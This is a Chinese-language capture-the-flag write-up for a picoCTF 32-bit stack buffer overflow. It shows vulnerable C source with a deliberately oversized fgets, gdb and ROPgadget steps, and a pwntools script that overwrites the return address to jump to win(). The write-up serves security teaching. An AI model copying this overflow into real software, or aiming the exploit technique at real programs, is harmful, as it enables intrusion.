原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win() {
FILE *fp = fopen("flag.txt", "r");
if (!fp) {
perror("[!] Could not open flag.txt");
exit(1);
}
char flag[128];
fgets(flag, sizeof(flag), fp);
printf("Flag: %s\n", flag);
fflush(stdout);
fclose(fp);
}
void vuln() {
char buf[32];
printf("Enter the secret key: ");
fflush(stdout);
fgets(buf, 128, stdin);
printf("You entered:, %s\n", buf);
}
int main() {
vuln();
puts("Goodbye!");
return 0;
}
解題
解題思路
利用fgets(buf, 128, stdin);的oevrflow 跳到win function 取得flag
ps:這題是32-bit題目
32-bit(cdecl 呼叫慣例)
呼叫慣例:cdecl,參數要用 push 一個一個推到 stack 上(從右到左推)
函式呼叫前一刻的 stack:參數列還疊在 stack 上
esp 內容:esp 指向的是「參數值」,可能只是個指標(位址),不是資料本身
後果:要多繞一層 —— 先看 esp 存的位址,再去那個位址找真正的輸入字串
64-bit(System V 呼叫慣例)
呼叫慣例:System V,前幾個參數直接放暫存器(rdi、rsi、rdx…),不會 push 上 stack
函式呼叫前一刻的 stack:沒有參數列,stack 相對乾淨
rsp 內容:一旦進到 buffer 所在區域,直接就是輸入的字串內容,不用多繞
確認檔案類型
file vuln

確認保護機制
checksec --file=vuln

尋找需要的資訊
尋找win function 位置
objdump -M intel -d vuln|grep -A 10 "<win>"

08049276 <win>:
尋找寫入位置
gdb ./vuln
b vuln
run

00:0000│ esp 0xffffd1d0 —▸ 0xffffd1e0 ◂— 'aaaaaaaa\n'
要取0xffffd1e0位置才對,這位子才是值儲存的真正位置
尋找return值儲存位置
gdb ./vuln
b vuln
run

00:0000│ esp 0xffffd20c —▸ 0x80493c0 (main+35)
計算所需大小
offset=0xffffd20c-0xffffd1e0
因為是直接跳過去,不是用call的方式,所以要多補一個ret,尋找ret位置
ROPgadget --binary vuln |grep ret

0x0804900e : ret
實際payload
from pwn import *
if '--remote' in sys.argv:
p = remote('mysterious-sea.picoctf.net', 59748)
else:
p = process("./vuln")
'''
08049276 <win>:
0xffffd1d0 —▸ 0xffffd1e0 ◂— 'aaaaa\n'
0x0804900e : ret
0xffffd20c —▸ 0x80493c0 (main+35)
'''
win=0x08049276
ret=0x0804900e
offset=0xffffd20c-0xffffd1e0
payload=flat(
b'a'*offset,
ret,
win
)
p.sendlineafter(b'key:',payload)
p.interactive()
p.close()

flag



說些什麼吧!